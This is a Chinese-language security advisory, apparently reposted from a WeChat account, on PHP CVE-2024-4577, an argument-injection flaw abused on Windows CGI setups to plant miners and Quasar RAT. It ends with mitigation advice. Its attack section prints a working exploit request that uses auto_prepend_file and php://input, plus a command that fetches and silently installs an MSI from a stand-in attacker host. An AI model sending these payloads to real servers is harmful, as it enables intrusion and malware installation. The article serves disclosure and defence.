近日,网络安全领域再次拉响警报。威胁行动者正在积极利用 PHP 中的一个严重安全漏洞(CVE-2024-4577),向受害者系统植入加密货币挖矿机(如 XMRig)和 Quasar RAT 等远程访问木马。
漏洞技术细节:
该漏洞被命名为 CVE-2024-4577,是一个存在于 PHP 中的参数注入漏洞,影响在 CGI 模式下运行的基于 Windows 的系统。具体来说,当 PHP 在 Windows 上以 CGI 模式运行,并且系统代码页为 CP932、CP936、CP949、CP950 或 CP951 时,如果使用了特定的编码转换(Best-Fit 字符映射),攻击者可以通过构造恶意的请求参数,绕过 PHP 的安全检查,将额外的参数传递给 PHP 解释器。受影响的PHP版本包括:
-
PHP 8.3 < 8.3.8 -
PHP 8.2 < 8.2.20 -
PHP 8.1 < 8.1.29
Best-Fit 字符映射:
Best-Fit 字符映射是 Windows 操作系统中的一种字符编码转换机制。当一个字符在目标编码中没有直接对应的字符时,Windows 会尝试找到一个“最佳匹配”的字符来代替。例如,在某些情况下,Unicode 字符 uFF0D
(全角连字符)可能会被映射为 ASCII 字符 -
(连字符)。这种映射关系可能被攻击者利用,绕过安全检查。
CGI 模式与 Windows 特性:
CGI(Common Gateway Interface)是一种允许 Web 服务器与外部程序(如 PHP 解释器)交互的协议。在 CGI 模式下,PHP 解释器作为一个独立的进程运行,并通过环境变量和标准输入/输出来接收和处理来自 Web 服务器的请求。
在 Windows 系统上,当 PHP 处于 CGI 模式并处理包含特定编码字符的请求时,由于 Best-Fit 字符映射功能的存在以及Windows对命令行参数处理的特性,可能会导致参数解析错误,从而为攻击者提供了注入额外参数的机会。
攻击手法:
攻击者通常会构造一个包含特殊编码字符(如 uFF0D
)的 HTTP 请求,例如:
GET /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
phpinfo();
在这个例子中,攻击者利用 -d
选项来设置 PHP 配置指令 allow_url_include
和 auto_prepend_file
。allow_url_include
允许包含远程文件,auto_prepend_file
指定在每个 PHP 脚本执行前自动包含的文件。通过将 auto_prepend_file
设置为 php://input
,攻击者可以将 POST 请求中的数据(<?php phpinfo(); ?>
)作为 PHP 代码执行,从而获取服务器信息。
更进一步,攻击者可以利用 PHP 的 system()
或 exec()
函数,结合 cmd.exe 的命令行参数,从远程服务器下载并执行恶意文件,例如:
system("cmd.exe /c msiexec /i http://attacker.com/malicious.msi /qn");
LOTL工具利用:
攻击者常使用系统内置的"Living Off The Land" (LOTL) 工具, 如 PowerShell 或 cmd.exe, 来进行侦察、横向移动和执行恶意载荷。
防御建议:
- 立即更新:
强烈建议用户将其 PHP 安装更新到最新版本(例如,PHP 8.3.8、8.2.20、8.1.29 或更高版本)。 - 禁用 CGI 模式(如果可能):
- Apache:
如果您使用的是 Apache Web 服务器,可以通过修改 httpd.conf
或.htaccess
文件,移除或注释掉与 CGI 相关的配置指令(如AddHandler cgi-script .php
)。 - IIS:
如果您使用的是 IIS Web 服务器,可以在 IIS 管理器中禁用 CGI 模块。 - Nginx:
如果您使用的是 Nginx,通常不会使用 CGI 模式,而是使用 FastCGI(如 PHP-FPM)。 - Web 应用防火墙 (WAF):
部署 WAF 可以帮助检测和阻止针对此漏洞的攻击,WAF 规则应配置为阻止包含恶意参数的请求。 - 输入验证:
对所有用户输入进行严格的验证和过滤,防止恶意参数注入。特别注意对 URL 参数、请求头和 POST 数据的验证。 - 限制 PowerShell 使用:
考虑限制在环境中使用 PowerShell 等 LOTL 工具,仅限管理员等特权用户使用。可以通过组策略或其他安全配置来实现。 - 禁用不必要的PHP函数:
如果应用不需要, 禁用 system()
、exec()
、passthru()
、shell_exec()
等可能被用于执行系统命令的 PHP 函数。 - 最小权限原则:
确保Web服务器和PHP进程以尽可能低的权限运行。
Bitdefender 还观察到,有攻击者试图修改易受攻击服务器上的防火墙配置。这种行为表明,不同的加密货币挖矿团伙可能正在争夺资源。
原文始发于微信公众号(技术修道场):PHP 参数注入漏洞(CVE-2024-4577)遭大规模利用:深入剖析、实战攻击演示与全方位防御指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论